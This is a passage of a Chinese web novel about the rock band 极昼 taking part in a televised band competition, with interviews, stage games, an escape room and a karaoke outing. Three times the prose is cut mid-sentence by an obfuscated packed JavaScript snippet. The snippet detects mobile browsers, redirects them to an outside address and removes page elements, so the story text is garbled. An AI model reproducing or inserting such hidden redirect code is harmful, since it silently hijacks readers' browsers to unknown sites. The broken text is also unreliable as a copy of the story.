柯安愣神的几秒,身后的几个人忙拉住他,连扯带劝的:“你别在这惹事啊,摄像头还开着呢。” 几人僵持了几秒,工作人员忽然敲门打破了僵局,“极昼的人员可以过来了。” 祁洲应了声,拉着许惊岁跟林此宵往前走。柯安回过神,冷冷地看了眼两人,就在许惊岁经过他身边的时候,他突然冷声道:“你会后悔的!” 许惊岁脚步顿了下,转头看他,笑了笑,笃定道:“我不会。” 两人一来一回的对话全部清晰地落在林此宵的耳朵里。 那一瞬间,好像空荡的心,有人为它套上了一层保护罩,而后无论电闪雷鸣还是狂风呼啸,都不再与他有关。 每个人的单采问题都不一样,但大概问来问去还是那么几个问题:“最喜欢的乐队?”“组建乐队的契机?”“怎么跟乐队其他人认识的?”诸如此类。 轮到林此宵的时候,节目组似乎提前做了背调,负责提问的工作人员看了看提问卡,有些尴尬地又看了看坐在对面的他。 一番下来,林此宵心里已经了然:“没关系,问吧。” “嗯。”工作人员说:“之前网上有关你跟你的恩师的争议闹得沸沸扬扬,对网上的那些传言,你是怎么看的呢?” 林此宵垂眸思考了几秒,开口道:“网络世界造谣的成本太过低廉,大多数人只会选择自己想看的或者自己愿意去看的,有时候受害者的声音反而被按下了静音键。” “你的意思是,你是受害者?”提问的人有些诧异,追问道:“那网上曾说你沾染过违禁物品一事?” “是的。”林此宵的目光清白,眼神坚定,似乎有着敢与日月抗争的勇气,有对一切不公说“不”的勇气。 以前他被‘恩情’这座大山压着,总想着齐休已经离开了,不想让他在死后还成为众矢之的。可如今他既然决定了加入极昼,便不能再让这些莫须有的污点沾染上极昼。 他不再是一个人孤军奋战,这一次他有了同行的伙伴。 “我从未碰过那些违禁品,去年8月19日,我第一次同齐休一同去警局做了尿检,警局有备案,可以证明我的检查结果为阴性,至于齐休的‘遗书’里的指控,通话记录可以证明我的清白。” “齐休他...”林此宵顿了下,艰涩开口道:“他生病了,病得太重。” 他说完,眼底的落寞神色引得工作人员也跟着神伤,她看了眼资料,才发现这位少年也才19岁,事情发生时也才刚成年,铺天盖地的议论和谩骂,很难去想象该怎么撑过来。 她忽然觉得自己有些残忍,将少年愈合的疤又撕开来,她抿了抿唇,轻声叹了口气,柔声道:“请问是什么促使你愿意来参加这个节目的呢?” 不知为何,在这个问题话音落地的那刹那,林此宵的脑海里忽然浮现出一个身影,他想了下,说:“因为一个人。” 工作人员发现他的眼睛亮了亮,她笑着说:“那这个人对你一定很重要吧?” 这个问题似乎很好回答,可林此宵却沉思了很久,太快回答似乎会显得很轻率,所以他一再斟酌,最终给出了回答,很肯定地说:“是的。”停顿了下,“很重要。” “好的,采访结束啦,谢谢你。” 林此宵将话筒递回,欠了欠身,有礼貌回谢。 结束单采后,又进行了团体的采访。负责的工作人员还是方才那位女生,她笑着道:“方才我采访了你们其中的一位,他说来这个节目的原因是因为一个人,你们猜猜是谁?” 祁洲闻言笑了笑,一脸的不可思议:“这么肉麻呀,不会是阿韵吧?” 颜韵酷姐脸冷漠看他,祁洲立刻改了猜测的对象,不太确定地说:“小岁?” 许惊岁挑了下眉,一脸的卖关子,祁洲又看了看林此宵,觉得还是自己被夺舍了说的可能性大些。 工作人员小姐姐:“那我也先卖个关子,等节目播出记得看哦。” 几分钟后,采访结束,几人一同走了出来。 刚巧又碰到了昨天一起吃饭那队,祁洲被拉过去聊天,颜韵也不见人影。林此宵静默着站在一旁,像一棵雪松,许惊岁忽然走近他。 “是你吧?”许惊岁笑着看向他,心照不宣道:“为了一个人,是为了我吗?” 林此宵好像站在一棵落满雪的树下,话音落下,惊落了一树的雪,纷纷扬扬,让他的心思无处藏匿。 林此宵怔了下,立刻移开目光,清冷嗓音否认:“不是。” 嘴硬的人的可信度太低,许惊岁心底了然却没戳穿,勾着嘴角笑了下,收回落在他脸上的目光,忽然耸耸肩膀,一脸无所谓道:“好吧,说谎的人鼻子会变长哦。” 他说完径直离开,过了几秒,林此宵抬起眼,看向许惊岁的背影,忽然想:自己或许是永远学不会坦诚的匹诺曹。 节目录制是下午七点开始的,等所有人员集合完毕,许惊岁才发现竟然有这么多人,粗略扫下来,一百多人。 主持人是某台的当家花旦,介绍了一番节目后,说:“乐队之约拟邀了国内三十个原创乐队,节目正式录制共四期,分为四个不同的主题,每周下发一个,各乐队需根据主题自行进行创作,不得抄袭、购买,创作周期为一周,每周一进行竞演。” 话音落下,许惊岁听见周遭不少人开始小声议论:“就一周,这也太难了吧?” “是啊,一周写一首歌,不如要了我的命。” “不光是写,还要去竞演,这也太为难人了吧,我看这一个月都别想睡了。” “就是啊...” 哀怨声、抱怨声此起彼伏,许惊岁觉得要不是提前签了录制协议,恐怕不少乐队都要当场撂挑子走人。 主持人笑了下,很快地控住场:“为了帮助各乐队,节目组邀请了著名作词人江雨老师、编曲大师巫阳老师、国内著名男歌手连炎、混音师bink老师、卡萨乐队主唱娄岳老师以及知名交响乐团查尔斯来帮助大家,并且节目组提供5间专业录音室。” 此言一出,场下顿时炸开了锅,讨论之势比起方才简直小巫见大巫。 “我天哪!乐队之约这么有钱的吗?竟然连江雨老师都能请来?!” 有道女生兴奋道:“我超喜欢连炎的!又帅又有才,才23哎!就已经开全国巡演了!年少有为啊!” “姐妹你是莲藕吗?我也是!” 祁洲一时也愣住,虽然压低了声音,但难掩兴奋,跟几人道:“卡萨乐队可是国内第一支摇滚乐队!我上初中那会最爱听他们,简直就是我对摇滚乐的启蒙!我还买了海报贴在墙上,尤其是娄岳的爆炸头,我后来去理发店做了个一模一样的,回家被我妈揍了顿,说我扫把成精...” 许惊岁没忍住笑了笑,对祁洲的悲惨经历表示同情。 “为了公平起见,每周的投票机制也不同,每周的各队的出场顺序由游戏积分决定,积分第一的队伍可以选择出场顺序,其他队伍依次根据积分进行排序,接下来,就是游戏时间,各位准备好了吗?!” “准备好了!”上百人的呐喊气势磅礴,简直要掀翻了录制厅的天花板。 “第一个游戏,听歌选人。还记得与乐队成员的第一次见面吗?”主持人笑了笑:“乐队的组建就像不同棱角的石头撞击到一起,碰撞出火花,在相处的过程中,潜移默化地变成了彼此契合的形状,互相敲打碰撞,从石头变成了美玉。” “那么你与乐队的其他成员真的默契吗?你是否可以通过一段看不见脸的纯演奏从四个人中来选出他呢?让我们一起来试试看吧!” “第一个上场的四支乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181106|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队是:森林人乐队、火山乐队、快乐因子乐队和极昼乐队。” 主持人笑着道:“这一轮的默契大挑战是,贝斯。请四支乐队的贝斯手先到后台稍作准备。” 主持人走到舞台中间,“据我所知,四个乐队当中,森林人已经成立了6年,算是蛮久了哎,其他乐队会有压力吗?”主持人忽然看向许惊岁,将话筒递到他面前,好奇地问:“极昼好像中途经历了一次重组,来参加节目前才找到贝斯手,对吗?” “对的。”许惊岁说。 主持人:“那面对森林人这样的前辈,会不会倍感压力呢?” 许惊岁笑了下,“有压力是好事。” 主持人:“好的。请四支乐队选出来回答的人。” 祁洲跟颜韵一致推出了许惊岁,别无其他,只有许惊岁听过林此宵的演奏,就算听不出,也能瞎猜一个,万一瞎猫碰到死耗子了呢。 主持人:“四位贝斯手演奏的为同一曲目,各位要仔细分辨咯。” 场上是四面屏风,将人影遮挡的严严实实,压根分不出哪个后面是谁,而且这游戏听着挺简单,结果前两个人都弹完,场上不少人顿时都懵了。 这两个有什么区别吗?在这复制黏贴呢? 许惊岁蹙着眉头,仔细分辨了片刻,默默在心底排除掉了前两个人,第一个人明显对这首曲子不是很熟,第二个人的节奏感一般。 第三个人弹得挺出色,有些像林此宵,但是不敢确定,许惊岁持怀疑态度。紧接着第四个人的贝斯声响起。 击弦、扫弦、勾线一套下来行云流水,贝斯浑厚低沉的声音被他弹得很动听,场上顿时议论起来: “原来还是能听出来区别的啊!我的耳朵没有问题!” “这就是大神的降维打击吗?现在退出来不来得及?” “我觉得第三个弹得也挺好的啊!好难区别啊。” “我还是第一次现场听到这么炫酷的贝斯,是谁跟我说贝斯只是在台上凑人头以及搬道具的?” “拉倒吧,那都是玩梗,真的好的贝斯手在台上简直不要太帅!” 在一众议论声中,许惊岁笑了下,露出颗虎牙,很快地在心里填上了答案。 “四位的演奏已经完毕,请问你们听出了自己的贝斯手了吗?请在黑板上写下自己的答案。” “森林人选择的是B。让我们看下B后面到底是不是他们的贝斯手呢?”主持人话音落下,B前面的遮挡物被挪开。 “很遗憾,答错了。”主持人说。 场下有人说:“天哪,他们六年的默契哎,这都会错,这个游戏的难度太高了,我的cpu都干烧了。” “B是快乐因子乐队的贝斯手,那我们来看看快乐因子选择了谁吧?” 随着黑板反转,“A。”主持人说:“好的,我们来看下A。” 几秒后,主持人很遗憾地道:“很遗憾,A是森林人的贝斯手。” 观众席:“哈哈,森林人跟快乐因子互换贝斯手得了。” “这是什么巧妙的缘分啊!” 主持人:“现在还有两组,让我们一起来看下极昼和火山的选择!” 许惊岁亮出黑板,上面清晰地写着D,谁料旁边的火山的黑板上的答案与他一致。 主持人:“两队也是很有默契哈,但是贝斯手只有一个,究竟是谁找到了自己的贝斯手呢?” 遮挡物被移开,场上顿时一片哗然。灯光打在林此宵的身上,他抬头向前看去,与许惊岁的视线撞上,对方很是胸有成竹地笑了笑,小虎牙都写满了得意。 “恭喜极昼!”场上顿时爆发出一阵喝彩,在一众喧嚣声中,他忽然想起许惊岁掀开他帽子时说的那句:“ifoundyou.” 无论何时何地,我都能找到你。 21. 再谈记忆 主持人宣布:“极昼乐队积十分,暂时领先。” 许惊岁与林此宵一同下了台,坐回了座位席,祁洲给许惊岁比个大拇指。 许惊岁笑了笑,靠近林此宵,用只有两人才能听到的声音道:“怎么样,我找到你了,是不是很厉害?” 找到你,是不是厉害? 林此宵对上他的眼睛,对方眼角眉梢都带着笑意,薄唇抿了抿,许惊岁本以为他不会作答,谁知对方“嗯”了声。 许惊岁愣了下,又小声坦白:“但其实我作弊了。” 林此宵皱了下眉,有些迷茫,只听见旁边人笑意吟吟地解释道:“我们第一次见面的时候,你弹得就是这首歌。” 原来你都还记得...... 不算作弊,算是你应得的奖励。林此宵心想。 过了将近半个小时,第一轮游戏才结束。 “第二个游戏是:心有灵犀。四人为一组,其中1人说话另1人猜,只能听过辨别口型,不能有相关动作提示。最后一人率先猜出词语的小组得1分,游戏结束后积分最高的小组获胜。” 极昼因为上轮获胜,与其他三个获胜的乐队一同上了台。 颜韵是比划的人,林此宵第一个猜,许惊岁第二,祁洲最后。 【第一章卡片:三打白骨精】 颜韵看了眼,很快地反应过来,比了个三的口型,林此宵很快会意:“三?” 颜韵点点头,接着说:“打”,林此宵眸光紧盯,过了两秒,“打?”他皱了下眉,想了下,试探道:“三打白骨精?” 颜韵狂喜,双手竖起大拇指,第一轮的进度远超其他组。接下来是第二棒的交接。 林此宵看着许惊岁,说“三”,戴着耳机的许惊岁皱了下眉,辨别他的口型,不确定道:“塞?赛?” 林此宵:...... 他直接跳到第二个字:打。 许惊岁一脸迷茫:“大?打?” 林此宵点了点头,又说第三个字:“白。” 许惊岁反应了下,试探着:“爸?” 林此宵:? 一语落下,场上不少人发出爆笑,许惊岁也后知后觉不太对劲,漆黑的瞳孔紧盯着林此宵的唇瓣,仔细辨别他说的话。 林此宵又耐心地重复了几次,眼看规定的三十秒时间要到,机灵的眼珠转了转,许惊岁忽然想到了什么,笑了下,比了个‘OK’的手势。 颜韵看了看,有些不太确定的跟林此宵说:“小岁知道了吗?” 林此宵的视线从许惊岁身上收了回来,语气很淡,却很坚定:“他知道。” 颜韵闻言若有所思地在两人之间环视了下,惊讶于这两人对彼此的信任和了解,一句话突然蹦到了她的脑子里:“每个人都很孤独,在人的一生中,遇到爱,遇到性,都不稀罕,稀罕的是遇到了理解(1)。” 她好像突然明白了许惊岁为什么要跟祁洲比赛。 转眼交接到达最后一棒,许惊岁拍了下祁洲的肩膀,正沉浸在重金属摇滚乐的祁洲迷茫转头,看见许惊岁很认真地跟他说着。 许惊岁嘴唇微动,唇齿相碰:“三。” 祁洲皱着眉头,猜测:“三?” 许惊岁点点头,又说下一个字:“打。” 祁洲很快地猜出:“打?” 前两个字进展的过于顺利,眼看就要成功,许惊岁接着道:“白?” 祁洲眼珠一转,很笃定很自信地道:“爸!” 许惊岁:...... 有时候过度默契也不见得是一件好事。 场上的人顿时笑疯,观众席:“真不是我说,极昼的节目效果满分。” “我听说他们的贝斯手是老幺,这下子辈分直升。” “传下去,极昼三代同堂哈哈哈哈。” 祁洲说出口恍然觉得被占了便宜,又看了看许惊岁的口型,忙整理了一下思绪,忽然主持人提醒:“时间到了,请最后一位报出你们的答案。” 大脑运转飞速,祁洲想了下,对着话筒道:“三打白骨精。” 主持人:“恭喜极昼答对了!” 四人互相看了看,第一次感觉到团体的默契。接下来的两轮也比想象中顺利,三轮结束后,极昼总分目前暂列第二。 第三个游戏是听歌识曲,每队选出两个人参与抢答,祁洲声称自己年纪大了,颜韵声称自己短跑不及格,于是重任又落到了许惊岁跟林此宵身上。 根据要求,共有五队,一共十个人站在起跑线处,歌曲会播放高潮部分5s,猜到歌曲的成员要快速跑到前面抢夺话筒,并说出歌名。 很快第一首歌的旋律响起,是首经典老歌,几乎是才响起两秒,许惊岁就如离弦之箭般冲了出去,拿住麦克风报出了歌名,“是月光!” 根据要求不仅要说出正确的歌曲名称,还要唱出其中两句,方可算答对。许惊岁想了下歌词,唱了两句副歌。 这首歌是首慢情歌,许惊岁低低吟唱着的时候显得很温柔。 “极昼答对!” 许惊岁回到原地,第二首歌紧接着响起,是首很爆的热歌,所有人几乎都不约而同地冲了出去,场面一时很混乱。 许惊岁夹在当中,不知道是被谁撞了下,登时脚步踉跄,几乎是同时,一只手扶住了他的腰,他回头看去,林此宵不知何时站在了他的身后,像一个沉默而可靠的侍卫。 他怔了下,压低声音道:“谢谢啊...弟弟。”尾音上扬,带着明显的笑意,怎么听都像是挑逗。 果然,许惊岁看见林此宵的表情霎时僵了下,竟然有些呆得可爱,他没忍住笑了笑。 第三首歌有些偏,直到快要放完只有两人站在答题台上,第一个人报错了歌名,紧接着轮到了林此宵,许惊岁听见他没什么表情地报出个歌名,而后唱了两句,竟然是首粤语歌。 嗓音清冷磁性,娓娓唱道,他突然发现林此宵的粤语发音标准悦耳,他忽然想,如果说情话应该会很动听。 主持人:“答对了!” 又经过几场激烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181107|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角逐,很快游戏到了尾声。经过积分清算,极昼竟然位列第一! 主持人也开始颁布下周竞演的创作主题:“下周的竞演主题是:生命。生命璀璨如歌、磅礴如海、脆弱如草芥却又坚强如大树,关于生命的奥秘,是人类千百年来一直在探寻的问题。请各乐队据此展开自己的想象,进行歌曲的制作和演唱!” “目前积分第一的极昼乐队,下周将第一位出场,剩下的乐队依次按照积分排序,期待大家下周的精彩演出!” 录制结束后,已经临近十点,录了整整将近四个小时。回到酒店后,祁洲点了外卖,在极昼的群聊里吆喝来吃饭。 许惊岁回来后洗了个澡,换了身衣服,祁洲往他身后看了眼,没看见林此宵的身影,很随口地问:“林此宵呢?” 许惊岁笑了下,发现祁洲这人就是典型的刀子嘴豆腐心,前两天还对人横眉冷目的,现在就已经有了关心的趋势。他边朝屋里走去,边说:“他洗澡去了。” “哦。先过来坐吧。”祁洲招呼道,刚说完就打了个喷嚏。 “怎么?感冒了?”许惊岁抬眼看去。 祁洲食指揉了揉鼻头,瓮声瓮气:“嗯。” 许惊岁边揭开外卖盖子,边说:“我那有感冒药,等会拿点给你。” 祁洲有些不可思议,语气也跟着很夸张:“最不会照顾自己的人竟然学会了备药?” 好像是什么太阳打西边出来的稀罕事。许惊岁笑了,解释道:“韵姐给我买的。” 正坐在地上吃麦旋风的颜韵愣了下,抬起脸,一脸的迷茫,与平时的御姐形象截然相反,不明所以道:“啊?我没啊。” 许惊岁闻言也是一愣,见她一脸迷茫,脑内突然忽然想到了什么,过了两秒,笑笑说:“没事,我记错了。” 五分钟后,林此宵才到。他刚走进去就听见祁洲在跟许惊岁说话——“...对,就是昨天一起吃饭那个女孩子,很可爱的那个,问我要你联系方式来着。” 许惊岁声音带着笑:“别了吧,别耽误人家女孩子。” “对啊,我没给,我说不太方便,她又问是不是有女朋友,我说不是,人家不喜欢异性,结果你猜怎么着,她说有个朋友也是gay,特别可爱,感觉你两很合适。” 林此宵听见许惊岁很轻地笑了声。 “她还发了张照片过来,你看看,是不是特别可爱,你喜欢这款不?” 林此宵走进去的时候就看见祁洲拿着手机正递给许惊岁看这一幕。 照片里的男生长得很秀气白净,但是并不是许惊岁喜欢的类型。他匆匆扫了眼,忽然听见由远及近的脚步声,他下意识地抬头看去,正巧跟林此宵的目光撞到一起。 林此宵难得的没穿黑白灰三色系,鹅黄色的薄卫衣衬得他很温柔,头发还没来得及吹干,微分碎盖刘海显得很少年气。 许惊岁盯着林此宵看了一会,后者的脸上没什么表情,可是他却感觉好像有些不开心,他收回目光,心不在焉地淡笑着回了句:“挺可爱的。” 22. 再谈记忆 吃完饭,时间已然不早了。三人帮着祁洲收拾了下桌面后一同走了出来,走了还没两步,许惊岁忽然喊了声:“韵姐”,结果走在前面的两人同时停下了脚步,很是同频地回头看了过来。 许惊岁笑了笑,跟林此宵说:“你先回去吧,我有事跟韵姐说。” 有事?什么事?脑海里突然蹦出来方才听见的话,难道是要那个可爱男生的联系方式? 林此宵突然觉得心里很烦躁,有些莫名且陌生的情愫像一张网,紧紧地缠绕住他的心。 他面无表情地垂下眼,什么也没说,转过身往房间走去。 许惊岁跟谁在一起,对谁有好感,跟自己又有什么关系呢? 可是这个人分明还说对自己感兴趣,还有那些亲密挑逗的话.....还说自己对待感情很专一,分明就是个骗子! 或许自己当初就不该相信他。 作为一个风险规避者,林此宵立刻制定好了应对措施,第一步就是尽可能远离许惊岁。 站在走廊一动不动的许惊岁还不知道自己已于无形之间被扣上了“感情骗子”的帽子,他认真思考了几秒,跟颜韵说:“明天是水哥的生日,我想给他准备个惊喜,你觉得怎么样?” 乐队成立到现在还没有正儿八经给祁洲庆过生,刚好这次趁着人齐,颜韵想了几秒,说:“我觉得ok啊。” 两人商量了下明天的行程,因为是惊喜,所以要尽可能的自然,不能让祁洲猜出来,思来想去,两人敲定了套方案。 “行,那明天人你来联系,其他的我来搞定。”许惊岁笑着道。 “没问题。” 告别颜韵后,许惊岁往房间走去。一想到明天的计划,他就有些兴奋,就像等待明天春游的小孩子,可他偏又是个情绪写在脸上的人,在林此宵看来,就是一脸的无以言表的喜悦之情。 他从来没觉得许惊岁的笑这么令人不悦过,就像为他的无名火添了把柴。顿时燃烧的噼里啪啦的。 许惊岁一进门就看见林此宵坐在床头,像一条乖顺的大型犬在等待主人回家,只不过那张好看的脸紧绷着,看起来似乎不太高兴。 他偏着脑袋看了看,又觉得大概是自己想多了。 许惊岁往前走了几步,也在床上坐了下来,想了下,跟林此宵说:“对了,我有件事想要听听看你的意见。” 什么事?总不会是要不要跟那个可爱男孩在一起的事吧? 一向理智的林此宵此刻就是个失控机器,他冷着脸,撂了句:“你的事,你自己决定就好,不用问我。” 他说完拿着睡衣,头也不回地去了浴室。 许惊岁愣了下,看着他的背影,怎么感觉好像是自己惹他生气了呢?没有吧? 算了,青春期的男孩心情反复无常也是正常的事,毕竟是小一岁的弟弟,他如是心想。 第二天。祁洲昨夜搞一个游戏主题曲ost熬了个大夜,一觉醒来已经临近晌午。几人在外面找了家当地菜馆,边吃边讨论‘乐队之约’的歌该怎么做。 四人一时半会都没有什么头绪,不过时间也还早,倒也不急。趁着吃饭的功夫,许惊岁跟祁洲提议道:“我听说这边有家特别好玩的密室,等会一起去玩玩呗。” 祁洲没有思索地应下:“可以啊,刚好放松放松,咱也好久没团建了。” “不如我们今天一起来玩个游戏吧。”许惊岁说。 祁洲一向对游戏很感兴趣,闻言果然被调动了好奇心,追问:“什么游戏?” “守护天使游戏。”见其他三人都投来了迷茫的眼神,许惊岁解释了起来,“等会我会写四个纸条,每个人各抽一个,你抽中的人就是你要守护的人,在这一天你要化身天使,尽力去关心ta,但是也要保持自己的秘密身份不能被发现,等游戏结束后,大家要猜出来自己的守护天使是谁。” 祁洲点点头,“行,听着挺有意思的,试试呗。” 见其他两个人没有异议,许惊岁去问老板要了根笔,撕了张卫生纸,写上了四个名字后打乱,每个人依次抽取。 林此宵打开纸张,上面赫然写着两个字“祁洲”,也就是说,他是祁洲的守护天使。 密室是南佘新开的一家,人气挺旺的。几人到的时候,门口已经站了好几个人,林此宵瞧着感觉有些眼熟,忽然想起来正是上次烧烤一起拼桌的那个乐队,队长是祁洲的老友,名叫乐彦,大家都称呼他为彦哥。 祁洲有些惊讶,笑着问:“彦哥?你们也是来这玩的吗?” “对啊,你们也是?这不巧了吗,这个主题人不够,一起呗。”乐彦很是热情地邀请。 正所谓盛情难却,四人没拒绝,跟着一起组了局,对面总共六个人,比起上次见面,似乎多了个陌生男生。 只见男生在旁边女生的怂恿跟鼓励下,走到了许惊岁面前,有些羞涩拘谨地打招呼:“你好,我叫时嘉白,你喊我小白就可以。” 许惊岁大脑突然蹦出昨天匆匆一瞥的那张照片,原来是那个可爱男孩,他笑了下,礼貌地自报家门:“你好,许惊岁,他们都喊我小岁。” “我应该比你小,那我喊你小岁哥哥可以吗?”男生有些腼腆,说话的样子确实挺可爱的,一双眼睛忽闪忽闪地看着许惊岁。 “可以啊。”许惊岁笑着应下。 他没觉得有什么不对劲,祝响之前常常说他看着挺会的,跟个情场老手似的,但是面对追求者反而迟钝得令人发指,明明人家拿他当对象,他还拿人当兄弟。 林此宵面无表情地看了眼,只见时嘉白的眼神时不时地落在许惊岁的身上,他绷着唇角,将目光移向了一旁。 玩的是个恐怖逃脱本,很符合作为恐怖片爱好者的祁洲的品味。十个人在工作人员的带领下走了进去,随着一声令人牙酸的吱呀关门声,屋内霎时陷入一片漆黑,黑暗是恐惧滋生的温床,一阵冷风吹过,激得人寒毛直竖。 许惊岁感觉有人在黑暗中悄无声息地靠近了他,他刚想着,屋内忽然亮起了微弱灯光,他转头看去,只见林此宵不知何时站在了他的身后。 十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181108|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人被困在了狭小空间,门被从外面锁上。正在众人找钥匙之际,本就昏暗的灯泡突然开始闪烁。 祁洲走到镜子面前,试图看清镜子上的提示,谁料突然从镜子中蹦出个来人脸来,吓得好几个人失声尖叫。 许惊岁还没反应过来,手臂已经被一个人牢牢抓住,他看去,发现是时嘉白,对方脸都被吓白了,看着挺可怜兮兮的。 镜中的人脸一闪而过,祁洲快速找到钥匙打开了门锁,谁知门口是两条岔路,也就意味着要分开行动。 时嘉白伸手拉住许惊岁的衣摆,小声道:“我好害怕呀,等会我们能一起走嘛?” 许惊岁没多思考,一口应了下来,忽然又想到林此宵,这厮从昨晚到现在一直冷着个脸,也不知道是因为什么。 他抬眸看去,目光却忽然顿住。 走廊昏暗的灯光衬得林此宵的眼睛很明亮,没什么表情的脸在光影下显得很冷峻,活像小说里杀人不眨眼的俊美修罗,在察觉到视线后,眼眸低垂,目光扫来。 许惊岁怔了下,忽然觉得这人太会长了,好像每一个点都长在自己的审美点上,他讨好意味地发出邀请:“跟我一起吧?” 林此宵的目光很短暂地停留,冷冷道:“不了。”他长腿一迈,走向左边的队伍。 许惊岁:? 左边队伍有祁洲、乐彦,还有乐彦队伍里的三个人。 他忽然想到了天使游戏,难道林此宵是因为要守护祁洲才拒绝自己的?这么一想倒也合情合理。 他没再纠结,跟着队伍往右边的走道走去。 这边。祁洲见林此宵站着没动,怕他掉队,喊了他一声,不经意顺着他的目光往对面看了眼。 视线内时嘉白拉着许惊岁的衣角,两人并肩走着,时嘉白似乎在说什么,许惊岁偏头看他。 “这两人还挺合得来的呢。”祁洲随口评价了句,不知道是不是他的错觉,他总感觉他说完这句话后,林此宵的脸色似乎又冷了几分。 许惊岁这一队解密解得贼顺,眼看剧情谜底就要揭晓,几人按照上一关卡获得的线索,要进行四角游戏。 按照剧情要求,参与的四个人要蒙上眼睛,站在房间的四个拐角,一个人去拍另一个人的肩膀,并以此传递下去。 许惊岁站在了四号位,上一个人拍过他的肩膀后,他按照规定要求的那样往前走去,黑暗很好的模糊了距离概念,他暗自在心中数着步子,“18、19、20.....” 数到第20的时候,他停下了步子,意识到有什么不对劲,他记得上一次是走到20步时就拍到了颜韵的肩膀,而这一次,颜韵并不在这! 走廊似乎变得没有尽头,他摸索着走了进去,忽然听见身后的门“啪”的一声关上,他下意识地摘下眼罩,才发现屋内一片漆黑,摘跟没摘没什么区别。 他伸手摸了摸四壁,自己似乎进入到了另一个房间。 夜盲症令他根本看不清面前有什么,听觉在这时就变得异常的灵敏,他听见有脚步声正在朝他靠近。 23. 再谈记忆 这间屋子比一开始那间还要小,感觉堪堪能容纳下两三个人,空调的冷风直直的朝着许惊岁的脖颈吹,他不舒服地缩了缩脖子。 “有人吗?”他试探出声,直觉告诉他,在他的附近似乎站了个人。 是npc吗?还是谁? 即使看不见,许惊岁也能感觉到那束目光的炽热以及所带来的压迫感,npc这个选项从列表中排除。 许惊岁有些不安地舔了下下唇,沉思了数秒,不知道为什么,心底突然蹦出个可能性,他验证道:“林此宵?是你吗?” 藏匿在黑暗中的林此宵背脊一僵,仿佛那些无数缜密的心思一同被戳破。 他比许惊岁要早进入这个房间,因此在许惊岁进来的那刻他就发现了,可他没有出声。 这个小房间其实并不算全黑,只是光线很昏暗,但是许惊岁有夜盲症,所以看不见,可林此宵能看见。 他清楚地看着许惊岁的一举一动,见他像只警惕性极高的猫,竖起了全身的毛,略显不安地舔了舔嘴唇,摘下眼罩时脸上写满了迷茫。 他见过许惊岁太多面,狡黠机灵、巧言令色、脆弱可怜、自信张扬......好像很了解他,却又好像从没有真正了解过他。 许惊岁对谁似乎都很好,所以林此宵分不清,他对自己的那份好,是出自真心还是随手一份的附赠品。 与此同时,从角落里忽然传出悉悉索索的声音,许惊岁朝着声源地看去,就在他看去的那一刹那,镜子忽然亮了起来,里面浮选出一张恐怖的人脸,伴随着一声哀怨凄惨的嘶吼,只叫人寒毛直竖。 许惊岁猝不及防地被吓了一跳,他倒是不怕这些恐怖元素,只是因为没有防备而被吓到,他不自觉地向后退了半步,却猝不及防地撞入了一个温暖的怀抱。 许惊岁一怔,就听一道熟悉的磁性嗓音响起:“是我。” 果然是你! 借着镜子的幽暗灯光,他转过身看见了林此宵那张俊美的冷脸。 林此宵为什么会在这?也是因为四角游戏吗? 这些问题许惊岁不想去寻求答案,他伸手拉住林此宵的衣角,有些可怜意味地道:“我什么都看不清,好吓人啊。”声音还发着颤,看起来真像是被吓坏了一样,“我们一起走好吗?” 林此宵薄唇抿了抿,喉结在昏暗灯光下上下滚动个来回,许惊岁看着,突然有些想要亲上去的冲动,明明没有喝酒,却有些熏熏然。 这样的语气配上这样的表情,造成拒绝的话很难说出口。 林此宵面无表情地往前走去,可步调却很慢,任由他拉着衣角,嘴也违心地说:“当心点。” 许惊岁小步跟在他身后,暗自勾着唇角笑了笑。 出去的线索就在镜子里,有些复杂的数字对应字母游戏加镜像,林此宵的心算速度很快,不过几分钟的功夫就解开了题面,找到了正确的门。 其他八个人不知道什么时候聚集在了外面,见许惊岁走出来,时嘉白忙跑到跟前,脸上隐约可见担忧之色,“你们原来在这,我们找了好久,我还以为真的失踪不见了。” 许惊岁笑了笑,安慰他:“怎么会呢?” 后面相较前面的关卡简单了许多,几个人没费多大功夫就走了出来。 祁洲看了眼时间,才过去一个半小时,离晚饭点还早着,乐彦又提议一道去唱会歌解解闷,说不定还能找到点灵感。 十人都是乐手,到了舒适区顿时找到了主场。 几首歌毕,气氛也热闹了起来。不知是谁点了首歌,正没人认领时,一个女生突然提议道:“小白跟惊岁唱呗。” 时嘉白有点不好意思,知道朋友是有意撮合,他看向许惊岁,后者倒是反应很平淡,笑了笑,接过麦克风说:“好啊。” 林此宵闻言抬眸看去,不光他,好几个人都投去了目光,许惊岁很少唱歌,祁洲也只听他唱过寥寥几次。 许惊岁坐在高脚椅上,握着麦克风,姿态很轻松散漫,在时嘉白唱完一段后自然而然地接上。 